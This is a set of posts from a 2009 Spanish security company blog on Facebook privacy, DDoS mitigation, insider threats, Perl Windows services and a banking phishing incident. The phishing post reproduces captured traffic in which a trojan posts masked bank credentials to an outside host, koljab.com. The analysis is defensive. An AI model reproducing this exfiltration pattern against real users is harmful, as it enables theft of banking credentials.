AVISO: Nos hemos integrado con Facebook y Twitter. Ahora, podrás decir si te gusta o no uno de nuestros artículos con tu usuario de la red social. También podrás difundir los artículos que más te gusten a través de cualquier medio. Ayúdanos a que los artículos sean más interesantes dándonos tu opinión. Gracias.

martes, 22 de diciembre de 2009

Feliz Navidad y Próspero año 2010


Nos acercamos a las fiestas de navidad y desde IBERDAT SECURITY queremos felicitarles a todos las fiestas. Nos tomaremos un pequeño descanso y retomaremos las tareas con fuerza a partir del 2010.

FELICES FIESTAS.

martes, 15 de diciembre de 2009

La seguridad y su implementación.

En las últimas semanas se han mejorado las medidas de seguridad en una de las redes sociales más utilizadas: Facebook. Si bien esto es una gran noticia, a veces la implementación de seguridad es ajena a la facilidad para los usuarios, así como la implementación por defecto que se ofrece a los usuarios.

Según una noticia aparecida en Yahoo, tras los últimos cambios en las posibilidades de configuración de la privacidad de los usuarios de Facebook, el propio Zuckerberg (fundador de Facebook) dejo visibles 300 fotos personales en su perfil. Con esto, volvemos a encontrarnos con la disyuntiva de que política es mejor implementar: por defecto permito todo o por defecto no permito nada. En este caso, seguramente se haya optado por una opción intermedia, con tan mala suerte de dejar al descubierto información que muchos usuarios no querían enseñar al mundo.

Si al problema de la selección de la política por defecto que permiten elegir a los usuarios, añadimos la complejidad implementada, tenemos un nuevo sistema de seguridad que se queda corto en usabilidad. Y este creo que es el gran problema de la mayoría de los sistemas. Muchas veces nos olvidamos de quien los va a manejar y hacia quien van dirigidos.

Si bien el actual sistema implementado en Facebook es una adaptación de un sistema de gestión basado en Roles, su gestión carece de algunas utilidades que podrían ser útiles a los usuarios. Ahora, cuando vamos a configurar la privacidad podemos elegir entre:
  • Mostrar la información a todos
  • Mostrar la información a amigos y redes
  • Mostrar la información a amigos de amigos
  • Mostrar la información a amigos
  • Personalizar. Si personalizas tienes la siguientes opciones:
    • Amigos de amigos
    • Solo mis amigos
    • Personas concretas
    • Solo yo
Para empezar tenemos algunas redundancias que se entienden hace lo mismo (mostrar la información a amigos de amigos y personalizar para permitir a amigos de amigos, es la misma opción). Cuando personalizas, te permite seleccionar a personas concretas o grupos de usuarios. También te dan la opción de excluir a una persona en concreto o a un grupo.

Lo que aparentemente está claro, plantea algunas dudas que a un usuario no permiten solucionar de manera sencilla. Planteemos un pequeño ejemplo:

Imaginemos que tenemos tres listas de usuarios: Amigos, Aplicacion1 y Usuarios restringidos. Estas listas nos permiten categorizar perfectamente a todos nuestros amigos sin problema. Haciendo un listado sabremos quienes son amigos, a quienes les conoces a través de la aplicación1 y a quienes quieres restringir en acceso a tu información. Ahora nos marchamos a configurar la seguridad de nuestra cuenta, vamos recorriendo cada uno de los apartados y seleccionamos personalizar. Como solo queremos que nuestra información la vean nuestros amigos de la lista Amigos, seleccionamos esa lista en personas concretas. Perfecto, ya he dado permiso a los amigos de esa lista a ver mi información y mis fotos. Pero, ¿qué pasa con el resto?. Bueno, diremos que esas opciones no están permitidas para el grupo Usuarios restringidos y para los de la Aplicación1. Aquí tenemos el primer problema, ¿Qué sucede cuando tenemos un usuario en la lista de amigos y en la lista de Aplicación1? ¿Ve la información o se la estamos denegando?¿Qué sucede con un usuario que no pertenece a ninguna lista que tenga permitida su visualización o bloqueo?

Según la opción de ver perfil que nos encontramos cuando estamos configurando la privacidad, podemos comprobar como lo vería la persona concreta.

Como recomendación para implementar una seguridad fácil de mantener debemos hacer lo siguiente:
  • Utilizar listas de usuarios para poder agruparlos.
  • Utilizar estas listas para dar permiso o denegarlo.
De esta manera tendremos un mejor control. Y sobre todo, acabar siempre verificando que los usuarios de un grupo ven lo que realmente quieres que vean. Aunque como principio básico de toda red social, no publiques nada que no quieres que sea visto y/o conocido ;-)

viernes, 4 de diciembre de 2009

Ciberturismo seguro


Gracias a un estudio de McAfee (se puede obtener aquí), hoy vamos hablar sobre el Ciberturismo. Pero no en el sentido con el que nació el termino ("Forma de visitar países a través de Internet") sino como el concepto de surfear a través de las páginas web pertenecientes a diversos paises y dominios de primer nivel (.com, .edu, .gov, etc.).

Al fin y al cabo, al igual que nos interesamos por la situación socio-política de los paises que queremos visitar para evitar riesgos, también es importante ver la situación de peligrosidad que tiene visitar páginas web asociadas a ciertos dominios.

Según el estudio visitar páginas web alojadas bajo el dominio de Camerún (.cm) es altamente peligroso. Y, ¿qué significa eso de que sea altamente peligroso? Principalmente que estamos expuestos a ser infectados por virus, troyanos, etc., simplemente por el hecho de visitar esas páginas y no disponer del software adecuado (y bien configurado) en nuestros equipos.

Siguiendo un poco con las conclusiones generales del estudio, y viendo que dominios de paises tienen más riesgos, nos encontramos que en el continente americano, el dominio .us (Estados unidos) es el que más riesgo tiene, siendo el dominio .cl (Chile) el de menor riesgo. Asimismo, en Ásia el dominio con mayor riesgo es .cn (China) y el de menor riesgo el .jp (Japón). En lo que se denomina EMEA (Europa, Oriente Medio y África), como ya hemos comentado antes, el más peligroso es el dominio .cm (Camerún) y el más seguro es .ie (Irlanda).

Si nos venimos a los dominios existentes en la península, el estudio pone mejor parado al dominio .cat (Dominio en Catalunya) que al dominio .es (Dominio de España). El dominio .es está en la posición 26 en el global del mundo, mientras que el catalán está en el puesto 99.

Bueno, después de este pequeño extracto de datos, debemos sacar la siguiente reflexión:


"Se puede visitar cualquier página, siempre y cuando dispongamos de las medidas de seguridad adecuadas al riesgo que ofrecen"

Con esto acabamos este post, sed buenos y tened cuidado por donde circuláis en la Red.

miércoles, 2 de diciembre de 2009

Juntos por "I secure Internet"

Este pasado 30 de noviembre fue el Día Internacional de la Seguridad de la Información. A raíz de ese día se ha realizado una serie de iniciativas para concienciar al público en general sobre la importancia de conocer y mantener unos hábitos saludables en el manejo de los ordenadores e Internet.

Una de las últimas iniciativas en seguridad del internauta en España ya está aquí: “I secure Internet”. La campaña que ayuda a concienciar e informar a los cibernautas sobre cómo proteger su privacidad navegando por la red suma una nueva colaboración entre INTECO e IBERDAT SECURITY.

Desde IBERDAT SECURITY nos hemos unido a las acciones de promoción de una navegación segura por Internet para todos. Luchar contra el mal uso de la red ya tiene un defensor de altísimo nivel: “I secure Internet”. El objetivo fundamental de la campaña de INTECO en la cual colabora IBERDAT SECURITY es conseguir que el mayor número de usuarios de Internet en España sepan cómo proteger su privacidad en la red mediante acciones activas y pasivas para combatir los virus, la violación a la intimidad y privacidad en redes sociales y demás entornos socio-profesionales, el abuso, el mal uso y el robo de datos personales en transacciones online de todo tipo, el fraude cibernético, la avalancha de spam, una realidad presente cada vez más en el desarrollo normal de una ciberjornada.

“I secure Internet” quiere convertirse en la punta de lanza del esfuerzo común de comunicar y enseñar a todos los cibernautas que entre todos podemos hacer que la red en España se convierta en un entorno viable tanto a nivel personal, profesional y social como económico.

Esperemos que iniciativas como esta calen en la sociedad actual y nos ayuden a tener una sociedad virtual más segura.


Haz de tu ordenador un lugar seguro. Oficina de Seguridad del Internauta. INTECO, Plan Avanza 2, Ministerio de Industria, Turismo y Comercio.

viernes, 27 de noviembre de 2009

Ni espionaje, ni mafia organizada, solo vanidad.

Hoy ha aparecido en el periódico El País una noticia sobre la detención de un menor que ha sido detenido por ataques masivos a Webs (Leer noticia aquí). El incauto adolescente, tras presuntamente haber realizado un virus que infectaba PCs por todo el mundo, lanzó ataques de denegación de servicio contra algunas webs, entre otras la del foro elhacker.net, que quedó inactiva durante varios días.
Si hace unos cuantos días intentábamos reflexionar sobre la importancia de los ataques internos a los sistemas de información dentro de las empresas, no se debe descuidar también los externos. Si bien un DDOS (Denegación de servicio distribuida) es un poco más complicado de evitar que un DOS, existen técnicas y tecnología suficiente como para minimizar las consecuencias de este tipo de ataques.
Empresas que vendan a través de Internet, empresas de hosting, bancos, etc. son el tipo de empresas mas vulnerables a este tipo de ataques y donde un ataque de denegación de servicio mayor impacto causa.
Las mejores técnicas para evitarlos, entre otras, son:
  • Limitar las conexiones SYN desde un mismo equipo.
  • Implementar mecanismos para limitar el número de peticiones web para un equipo. En Apache tenemos mod_security, mod_evasive, mod_throttle.
  • Implementar limitación de congestión a través de firewalls. En linux, iptables dispone de las -m limit --limit xxx/second --limit-burst xxx para limitar la cantidad de conexiones recibidas por segundo.
Si bien todo lo comentado hasta ahora parece muy técnico, debemos preguntarnos lo siguiente:

¿Está nuestra empresa preparada para quedarse sin Internet durante 1 día? ¿Se conocen los riesgos que supone no disponer de la tienda online de la empresa durante unas cuantas horas? ¿Estamos preparados para afrontar este tipo de ataques?

Si la respuesta a alguna de las preguntas ha sido NO, espero que no pierda el sueño este fin de semana. Si bien, los DDOS no son tan habituales para PYMES, otros ataques similares, son más frecuentes de lo que se supone.

Como ejemplo, comentar que desde que IBERDAT dispone de servicios de cara a Internet, se reciben una media de 3 ataques diarios contra estos servicios. Si os estáis preguntando como podemos saber eso de los sistemas, solo debéis configurar correctamente los sistemas de monitorización y/o utilizar herramientas SIM o IDS con alertas.

Buen fin de semana a todos.

miércoles, 25 de noviembre de 2009

Identidad 2.0

La pasada semana estuve en una charla sobre identidad empresarial 2.0. y llevo un par de días con ganas de analizar la información que últimamente se está dando a nivel general sobre el tema. Para aquellos que no lo conozcan, la identidad 2.0 de las empresas se refiere a la utilización de Redes Sociales (tipo facebook, Tuenti, Linkedin, etc.) para generar imagen de empresa y utilizarla con fines publicitarios y fortalecimiento de marca. Se supone que es el futuro de la comunicación.
Al ser humano y a los publicistas en particular, les encanta eso de las denominaciones efectistas. Ya pasó con el marchamo de 2000 (cuando llegábamos al final del siglo XX) y ahora, unas cuantas modas después, empezamos con fuerza la utilización del término 2.0. (pronto vendrá el boom inmobiliario 2.0) Todo para seguir vendiendo cosas de la manera más efectiva. Pero con respecto a la Identidad corporativa, ¿estamos ante un nuevo paradigma de la comunicación empresarial?
Es cierto, que las redes sociales abren una nueva vía de comunicación con los usuarios o clientes de la marca. Es cierto, que en las empresas estamos evolucionando de "yo te cuento lo que quiero y me da igual tu opinión" a "soy una empresa que me preocupa tu opinión y estoy aquí para escucharte". De solo hablar a tener una conversación bidireccional.
Pero en esto de las conversaciones bidireccionales, tenemos que ser conscientes en todo momento de que riesgos y costes implican. Por ejemplo, no sirve de nada que tu empresa este representada en una red social tipo facebook o tuenti, si no vendes servicios al público en general. Tampoco sirve de mucho si no dispones de una web y un correo electrónico con tu propio dominio. Es decir, la identidad 2.0 no puede ser construida si todavía no tienes la identidad 0.1, la 0.5 y la 1.0. :-) En esto de la creación de una identidad empresarial no se pueden dar saltos de gigante ni empezar por el tejado. Nos lo tenemos que tomar con calma y ser constantes.
¿Pero cómo y cuando debemos afrontar el salto a la identidad 2.0?
Sólo debes seguir los siguientes pasos, y no dar el siguiente hasta tener afianzado el anterior:
  1. Disponer de correo con dominio propio y utilizarlo en las comunicaciones de la empresa con el exterior.
  2. Disponer de una página web asociada al dominio de la empresa, aunque esta sea básica, con la imagen corporativa. Incorporar apartado de noticias.
  3. Disponer de un blog con actualización semanal como mínimo.
  4. De acuerdo al mercado de actuación de la empresa:
    1. Si el mercado de tus productos y/o servicios es el público en general, (B2C) incorporación a redes sociales como nueva vía de comunicación.
    2. Si el mercado de tus productos y/o servicios son empresas (B2B) incorporación de Newsletter y extranet de clientes.
Si bien alguno de los pasos puede variar un poco o incluso, incluir alguno nuevo, son los pasos más naturales para ir forjándote una buena identidad en la red. Eso si, la incorporación a las redes sociales tampoco es la panacea. Hay que establecer una buena estrategia de acercamiento a la red.
Además de estos pasos también hay que tener en cuenta algunas recomendaciones cuando empezamos a elaborar un blog y/o estamos en una comunidad virtual:
  • Los contenidos deben ser apropiados a la imagen de empresa que se quiera dar.
  • Permitir los comentarios siempre que estos sean moderados y aprobados por la empresa.
  • Responder a los comentarios que los usuarios realicen.
  • No dedicar el espacio solo a publicidad. Los usuarios se quedarán en la comunidad si los contenidos son interesantes.
  • Constancia, constancia, constancia.... :-)
Cada nuevo servicio que ofrecemos (un blog, una comunidad, o una newsletter) requieren recursos de la empresa que dediquen su tiempo a mantenerlos. En el caso de los blogs y las comunidades, también se pueden contratar servicios de dinamizadores de comunidades para minimizar la dedicación de personal.

Con todo este popurri de cosas espero haber dejado un poco más claro que es eso de la Identidad 2.0 y que implica.

viernes, 20 de noviembre de 2009

Nos miramos al ombligo o al espejo?

Esta semana he tenido una crisis existencial sobre el tema que debería tocar. Cuando se tocan temas técnicos, volver a coger altura a veces cuesta. Pero no hay nada mejor para despegar que ir viendo las noticias de actualidad. Pues bien, esta semana, incluso ellas me han fallado :-) Pero bueno, no hay nada mejor que llegar al ecuador de la semana y ver el fin de semana cerca para poder tener nuevos aires.
Ya llevo un párrafo y todavía no he dicho que tema vamos a tocar. El título quizás no de muchas pistas, pero seguro que al final de la entrada veréis que tiene mucho sentido.
Desde hace mucho tiempo, se viene hablando que los principales ataques y problemas de seguridad en las empresas actuales no vienen desde el entorno externo a esta, sino desde el interior.
Hará cosa de 12 años, la empresa de uno amigo me llamaba para que les ayudara a implementar medidas de seguridad en sus ordenadores. La necesidad les había surgido después de haber contratado a una persona. Tras el periodo de prueba, tuvieron que despedirle por no cumplir las espectativas, y no contento con esto, la persona despedida les dejó un triste recuerdo: les borró todos los datos de las base de datos interna(clientes, pedidos, contabilidad, etc.). Por suerte, pudieron recuperar gran parte de la información gracias a las copias de seguridad.
Si bien esto puede parecer un hecho aislado, en la mayoría de las encuestas de seguridad realizadas a empresas, el hecho es que los ataques por personal interno son más frecuentes y de peores resultados:

"[UK's Department for Trade and Industry's annual Information Security Breaches report] showed that 48% of large companies blame their worst security incident on employees. By contrast, the 2001 edition of the survey showed that 75% of those questioned named external hackers and criminals as the biggest threat to security." From: http://news.bbc.co.uk/hi/english/sci/tech/newsid_1946000/1946368.stm

"The problem of internal hacking (unauthorized access by authorized users) consistently outweighs the problem of external hacking."[citing NCSA Firewall Policy Guide Version 1.01]" From: http://ksi.cpsc.ucalgary.ca/courses/547-96/johnp/547/present.html

La mayoría de las empresas son muy conscientes que al igual que protegen sus oficinas físicas de ataques externos, sus sistemas de información también deben ser protegidos: Antivirus, Firewalls, vpn, etc., son elementos comunes implementados en las empresas. Pero, ¿qué hacemos para mitigar el riesgo de ataques internos?
Los elementos a tener en cuenta para evitar gran parte de los ataques internos son muy sencillos de implementar, bueno, si se tienen las herramientas adecuadas:
  • Limitar el acceso de los empleados a la información.
  • Implementar una segmentación de red adecuada.
  • Implementar mecanismos de cifrado de información.
  • Crear e implantar políticas de segurdad para monitorización y gestión de alarmas.
  • Implantar la firma de claúsulas de confidencialidad y secreto industrial.
La limitación del acceso a la información es una de las grandes carencias en las empresas. Normalmente se tiende a dejar acceso a toda la información (sobre todo en las pequeñas empresas), pero esto a la larga es un error. La regla es que los empleados puedan ver aquella información que realmente deban ver, ni más ni menos. La tecnología actual permite implementar estas limitaciones de una manera relativamente sencilla. Lo mismo sucede con el acceso a la red interna de la empresa. La mayoría de las veces la dirección no es consciente de lo que un empleado puede llegar a ver a nada que tenga un poco de interés.

De ahí viene la reflexión que planteaba en el título:

Tendemos a mirarnos en el espejo implantando solo medidas externas de seguridad, o somos capaces de miranos al ombligo y darnos cuenta que internamente también debemos aplicar medidas de seguridad?

Con esto nos despedimos por esta semana.

sábado, 14 de noviembre de 2009

Servicios de Windows en Perl 5.10

Esta semana nos acercaremos al mundo del Perl. Desde que aprendí a programar en este lenguame me ha fascinado tremendamente. Hay mucha gente que se ha ido mudando a Python, pero yo todavía sigo fiel a Perl. Es un lenguaje muy fácil de aprender y con grandes funcionalidades que se pueden aprovechar. Aunque hay gente que lo ve solo como un lenguaje para scripting de sistemas (y en eso es indiscutible), aquellos que realmente le saben sacar partido puede desarrollar aplicaciones enteras con entorno de ventanas (incluido en plataforma windows).
Pero bueno, vayamos al grano. Llevo unas semanas dándole vueltas a la cabeza para poder migrar un script de monitorización de las IP pública de equipos para entornos windows. Ya tengo desarrollado el script para entornos linux/unix. Pero cuando me lo he planteado migrar a Windows, quería que fuese algo, como diríamos, un poco más elegante. Para ello, decidí que la mejor manera de que estuviese siempre activo sería hacíendolo servicio de windows.
Manos a la obra, me puse a buscar documentación al respecto y encontré el módulo Win32::Service que sirve para manejar servicios de windows (aunque esto no es lo que necesitaba inicialmente) y el módulo Win32::Daemon. Si bien en CPAN hay documentación al respecto, cuando empiezas a hacerte el primer esqueleto, te das cuenta que tienes que ir por pasos.
Lo primero de todo es ver como se instala y desinstala un servicio. Esta parte fue la sencilla. Para aquellos que no quieran buscar, les copio las funciones:

sub GetServiceConfig
{
my $ServicePath = $^X;
my $ScriptPath = join( "", Win32::GetFullPathName( $0 ) );
my %Hash = (
machine => '',
name => 'Nombre',
display => 'Lo que ves en el mmc',
path => $ScriptPath,
user => '',
pwd=> '',
description => 'Descripcion de lo que hace el servicio',
parameters => ''
);
return( \%Hash );
}
sub GetError
{
return( Win32::FormatMessage( Win32::Daemon::GetLastError() ) );
}

sub install_service (){

my $ServiceConfig = GetServiceConfig();
if( Win32::Daemon::CreateService( $ServiceConfig ) )
{
print "El servicio $ServiceConfig->{display} fue instalado con exito.\n";
}
else
{
print "Fallo al instalar el servicio $ServiceConfig->{display}.\nError: " . GetError() . "\n";
}
}
sub uninstall_service (){

my $ServiceConfig = GetServiceConfig();

if( Win32::Daemon::DeleteService( $ServiceConfig->{name} ) )
{
print "El servicio $ServiceConfig->{display} fue desinstalado con exito.\n";
}
else
{
print "Fallo al desinstalar el servicio $ServiceConfig->{display}.\nError: " . GetError() . "\n";
}
}

Si estas funciones se utilizan acompañadas de la utilización getoptions, permitirá instalar y desinstalar el servicio de manera muy sencilla.

use Getopt::Long qw(:config pass_through);
GetOptions('help|?' => \$help, 'install|i' => \$install, 'uninstall|u' => \$uninstall) or print_usage();
GetOptions('help|?' => \$help, 'install|i' => \$install, 'uninstall|u' => \$uninstall) or print_usage();
print_usage() if $help;
install_service() if $install;
uninstall_service() if $uninstall;

así, cuando llamemos al script con -i, lo instalará como servicio, y cuando lo llamemos con -u lo desinstalará. :-) Hasta aquí, como he dicho, es la parte más sencilla. Esto no lleva más de 10 minutos.
Ahora viene la parte complicada. Cuando vemos ejemplos del módulo en http://www.roth.net/perl/Daemon/, la cosa parece que va a ir de lo más sencillo, pero al implementarlo te das cuenta que algo empieza a no ir bien. Decir, antes de seguir, que lo que cuento ahora vale para su desarrollo en windows con ActivePerl 5.10. Esto es quizás lo que más quebraderos de cabeza ha dado (la versión de perl). Primero, hay que conseguir la versión adecuada del módulo Daemon (se obtiene aquí), después instalarla manualmente en tu distribución de perl y después empezar a leerte los ejemplos de nuevo. Para el desarrollo del servicio hay tres maneras de hacerlo, de acuerdo al autor del módulo. Típico bucle hasta que se detecta una señal de stop, utilización de una función que atiende a los eventos que puede tener el servicio (stop, start, pendind start, ...) o múltiples funciones que se ejecutan dependiendo del evento que se produzca (el ejemplo 5 de la página del módulo). Como programador eficiente, y de acuerdo también a las recomendaciones del autor, opté por este último modo. Algo sencillo y elegante. Cuando el servicio arranque, habrá un evento START y se ejecutará la función que yo asocie a ese evento, y así para el resto. Perfecto, no hay más que hablar, vamos allá.
Tras copiar y pegar el ejemplo, añadido a las otras opciones generadas (bendito Copy&Paste), me puse a probarlo. Instalé el script como un servicio y le di al play en el mmc. Vi como el servicio se levantaba, casí esbocé una sonrisa por lo sencillo que había sido, pero al cabo de 10 segundos, al refrescar el mmc, vi que el servicio estaba parado. Es en estos momentos es cuando se pone a prueba la paciencia de todo desarrollador ;-) La pregunta que se pasa por la cabeza es: ¿Pero por qué se ha parado el ~#€@#€@# servicio ?
Añadí algunos logs a mi script. Coloco aquí el esqueleto:

sub Callback_Running
{
my( $Event, $Context ) = @_;

# Note that here you want to check that the state
# is indeed SERVICE_RUNNING. Even though the Running
# callback is called it could have done so before
# calling the "Start" callback.
my $state = Win32::Daemon::State();
if( SERVICE_RUNNING == $state )
{
escribelog ("Estado Running del servicio.");
}
}

sub Callback_Start
{
my( $Event, $Context ) = @_;
$Context->{last_state} = SERVICE_RUNNING;
# Initialization code
# ...do whatever you need to do to start...
escribelog ("Estado Start del servicio. ");


Win32::Daemon::State( SERVICE_RUNNING );
}

sub Callback_Pause
{
my( $Event, $Context ) = @_;
escribelog ("Estado Pause del servicio.");
$Context->{last_state} = SERVICE_PAUSED;
Win32::Daemon::State( SERVICE_PAUSED );
}

sub Callback_Continue
{
my( $Event, $Context ) = @_;
escribelog ("Estado Continue del servicio.");
$Context->{last_state} = SERVICE_RUNNING;
Win32::Daemon::State( SERVICE_RUNNING );
}

sub Callback_Stop
{
my( $Event, $Context ) = @_;
$Context->{last_state} = SERVICE_STOPPED;
Win32::Daemon::State( SERVICE_STOPPED );
escribelog ("Estado Stop del servicio.");
Win32::Daemon::StopService();
}

Win32::Daemon::RegisterCallbacks( {
start => \&Callback_Start,
running => \&Callback_Running,
stop => \&Callback_Stop,
pause => \&Callback_Pause,
continue => \&Callback_Continue,
} );

%Context = (
last_state => SERVICE_STOPPED,
start_time => time(),
);

escribelog("Antes Start Service");
Win32::Daemon::StartService( \%Context, 15000 );

La función escribelog solo deja en un fichero el texto que se escribe. Bueno, tras analizar las trazas que dejaba en el log, veía como el servicio pasaba por "Antes Start Service", "Estado Start del servicio" y después nada. Mirando los procesos que se generaban, cuando arrancas el servicio, se arrancan dos procesos y se ve como al arrancar se inician y al cabo de 15 segundos uno de los procesos muere.
Pues nada, ya se que pasos da. Se arranca, pasa por la rutina de star y después se detiene, pero sin pasar por la rutina de stop. Empecé a investigar por Internet y empecé a sentirme un poco solo al ver que a nadie le pasaba. Empecé a plantearme si después de tanto tiempo me estoy oxidando con la programación. Lo primero que encontré es que en las nuevas versiones del módulo, se había cambiado el evento running por el evento timer. Bueno, quizás por eso no se ejecutaba. Volví a probar. "Antes Start Service", "Estado Start del Servicio", "Estado running del servicio" y se vuelve a parar. Pues no, eso no era, pero al menos hemos avanzado. Por lo menos veo que se ejecuta la función en running. Pero ¿qué le pasa?.
En estos momentos, cuando ya de los 5 minutos para hacer el script pasas a los ratos libres de 2 días, el script pasa a ser algo personal :-). Es entonces cuando al igual que las integrales de idea feliz, hay veces que en el cerebro de un programador se enciende una lucecita que alumbra el camino. Bien, pues tras no se cuantas pruebas, instalaciones de servicio, desinstalaciones del mismo, conseguí que mi servicio corriese estable en windows. Ese momento es como quien tiene un niño y ve que acaba de nacer y respira. Pero claro, los que hayáis llegado hasta aquí, os estaréis preguntado, pero ¿cómo lo has hecho funcionar?. Bien, para aquellos que realmente estéis en el mismo problema que he estado yo, aquí va la solución. Solo copio la función running, que es donde estaba el problema:

Primero acordaros del RegisterCallBacks:

Win32::Daemon::RegisterCallbacks( {
start => \&Callback_Start,
timer => \&Callback_Running,
stop => \&Callback_Stop,
pause => \&Callback_Pause,
continue => \&Callback_Continue,
} );

y después de modificar la función callback_running como sigue:
sub Callback_Running
{
my( $Event, $Context ) = @_;

# Note that here you want to check that the state
# is indeed SERVICE_RUNNING. Even though the Running
# callback is called it could have done so before
# calling the "Start" callback.
my $state = Win32::Daemon::State();
if( SERVICE_RUNNING == $state )
{
escribelog ("Estado Running del servicio.");

}
$state = Win32::Daemon::State();
}
Como veis, al final de la función se realiza una llamada a la función State. del módulo No he encontrado una razón lógica para esto, pero parece ser que si no llamas a esta función, el estado del proceso cambia al estado 1 (pendiente de parada) y después al estado 0 (de parado) aunque se sigue ejecutando en el evento timer.
Bueno, y ya está, a partir de aquí se abre todo un mundo de posibilidades con este esqueleto de servicio windows. Para aquellos un poco más "perfeccionistas", comentaros que el script también se puede pasar a un archivo exe a través de la herramienta "pp" dejando así la funcionalidad perfectamente encapsulada para poder ser distribuida a todas las máquinas windows que desees.

Espero que sea de utilidad para alguien más.

miércoles, 4 de noviembre de 2009

La ficción se vuelve realidad.

Muchas veces hemos visto películas de ficción en las que aparecen adelantos tecnológicos que para la época de la película son pura ficción. Pero de vez en cuando, algunos de ellos acaban siendo de uso cotidiano en la realidad. Los intercomunidadores móviles de Star Trek, los robots que andan con piernas aparecen en la Guerra de las galaxias, etc. Ahora, le llega el turno a un elemento visto en las películas de espionaje de los últimos tiempos, donde el protagonista ayudado de un pequeño aparato, lo conecta a un equipo y le descarga toda la información.

Según investigadores de "MVR InfoSecurity" (Fuente) debido a un fallo en los drivers de las memorias USB estos dispositivos podrían preguntar al ordenador por la información que contienen y descargársela completamente. La ficción ya está aquí para quedarse.

Pero desde el punto de vista empresarial, ¿cómo nos afecta?

La analogía vendría a que alguien sea capaz de tener una llave que abre casi todas las puertas del mundo. Tendremos que empezar a utilizar mecanismos que mitiguen el riesgo de seguridad que supone este nuevo ataque. Deshabilitar la conexión de dispositivos USB en nuestros equipos, utilización de sistemas de control de acceso físico, videovigilancia, etc., pueden hacer que mitiguemos suficientemente los riesgos, por lo menos, hasta que los SO nos permitan disponer de la funcionalidad con el mínimo riesgo posible.

Esperemos, que lo que parecía una simple excentricidad como es el dedo-usb, no se acabe convirtiendo en el accesorio indispensable para los espías industriales del futuro.

jueves, 22 de octubre de 2009

Phising, cada vez más profesional.

El tema del phising no es nada nuevo en la sociedad. A través de la televisión, la radio o los periódicos nos han llegado noticias relacionadas con ataques de phising. Para aquellos que son saben lo que es, definimos el phising como el ataque que tiene como objetivo robar las credenciales de acceso (principalmente a cuentas bancarias) haciendose pasar por el proveedor legítimo. Las técnicas más básicas utilizan el teléfono para hacerse pasar por otra persona y así obtener la información que necesitan, pero gracias a Internet, las técnicas se han refinado mucho.
Hace un par de días, un cliente nos llamó porque creía que estaba siendo víctima de un ataque de este tipo. Tras investigar el sistema, encontramos que a través del Internet Explorer había asociado un proceso que servía a los atacantes para efectuar sus procesos de Phising. Lo que llamó la atención al cliente es que al acceder a su cuenta bancaria en el Banco Santander, y tras introducir sus claves, la página le solicitaba las claves de firma. Este mismo comportamiento se daba también cuando accedía a otro banco (la Caixa).
Analizando el tráfico que generaba el navegador, pudimos comprobar que aparte del tráfico que se envíaba al banco, había otra conexión que envíaba información a otro sitio. A continuación podemos ver el hilo de paquetes (omitimos aquella información que es sensible):

+++GET 13+++

GET /?10814294bed415c97=D2380743D36432D5DB085310F9267A520E3F8DEC&74040f148da587118=4623&35ce427f962c12483bd=24&8652321f8fa87c239bd=Nw34jR2nNFIBcuFy8ULA4FlXTsJaFo4Dw==&647cb65bf7aebb3f8b= HTTP/1.1
Accept: */*
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6)
Host: koljab.com
Connection: keep-alive

+++RESP 13+++

HTTP/1.1 200 OK
Server: nginx/0.8.17
Date: Tue, 20 Oct 2009 18:45:29 GMT
Content-Type: application/octet-stream
X-Powered-By: PHP/5.3.0
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Cache: MISS from loadbalancer
X-Cache-Lookup: MISS from loadbalancer:80
Via: 1.0 loadbalancer (squid)
Connection: close

+++CLOSE 13+++
+++GET 14+++

POST /portal/5ae2d02f136925d1be8546444ca9ace2.php?id=D38073D643D5DB0810F967A520EF8DEC&u=aHR0cHM6Ly9lbXByZXNhcy5ncnVwb3NhbnRhbmRlci5lcy9XZWJFbXByZXNhcy9zZXJ2bGV0L3dlYmVtcHJlc2FzLnNlcnZsZXRzLmxvZ2luLkxvZ2luO2pzZXNzaW9uaWQ9MDAwME5EazJsTEp6WWh3QWF4djFYS3V2Rzl3OjEwOGFlYTBmNw== HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: https://empresas.gruposantander.es/WebEmpresas/servlet/webempresas.servlets.CompressJSP?JSP=nueva_imagen/inicio.jsp&Home=011
Accept-Language: es
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6)
Host: koljab.com
Content-Length: 123
Pragma: no-cache
Connection: keep-alive

Browser reload detected...

Posting 123 bytes...

CodigoTipoAcceso=S
grupo=EXXXXXXXXXX
usuario=XXXXXXXXXXXXXX
entidad=XXXX
home=XXXX
password=XXXXXXXXX
sesion.nueva_imagen=S
modo=

+++RESP 14+++

HTTP/1.1 200 OK
Server: nginx/0.8.17
Date: Tue, 20 Oct 2009 18:45:31 GMT
Content-Type: text/html; charset=utf-8
X-Powered-By: PHP/5.3.0
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Cache: MISS from loadbalancer
X-Cache-Lookup: MISS from loadbalancer:80
Via: 1.0 loadbalancer (squid)
Connection: close

+++GET 15+++

CONNECT / HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6)
Proxy-Connection: Keep-Alive
Content-Length: 0
Host:
empresas.gruposantander.es
Pragma: no-cache

+++SSL 15:+++

SSL Pass-Thru: CONNECT https://empresas.gruposantander.es:443/

En esta secuencia vemos como tras haber introducir las credenciales y unas de firma ficticias, el proceso encubierto se las manda a otro servidor a través de un servidor proxy situado en china (koljab.com) (GET 13). Una vez que ya tiene las credenciales y firma, el proceso le pide al servidor atacante que autentique al usuario en la web legítima del banco y le devuelva la información necesaria para acceder (GET 14). Una vez obtenida esa información, el usuario es redirigido a la página web del banco como si nada hubiese pasado.

Lo más curioso de este ataque, es que en la barra de navegación del usuario aparecía en todo momento la dirección y dominio del banco con su correspondiente https.


El único detalle que delataba el ataque, aparte de la rara petición de las claves de firma, era que en el momento en el que se le pedía que intodujesen la firma el candado del Internet Explore que indica que es una página segura, había desaparecido.



Para finalizar este artículo, daremos unos consejos que debemos seguir para evitar el 99,9% de los ataques de phising:
  1. Los bancos NUNCA te solicitan tus claves de firma de operaciones, tarjetas de coordenadas u otras claves de operación.
  2. El acceso a la mayoría de los bancos es siempre bajo SSL (https) con lo que la existencia del candado debe estar en todo momento.
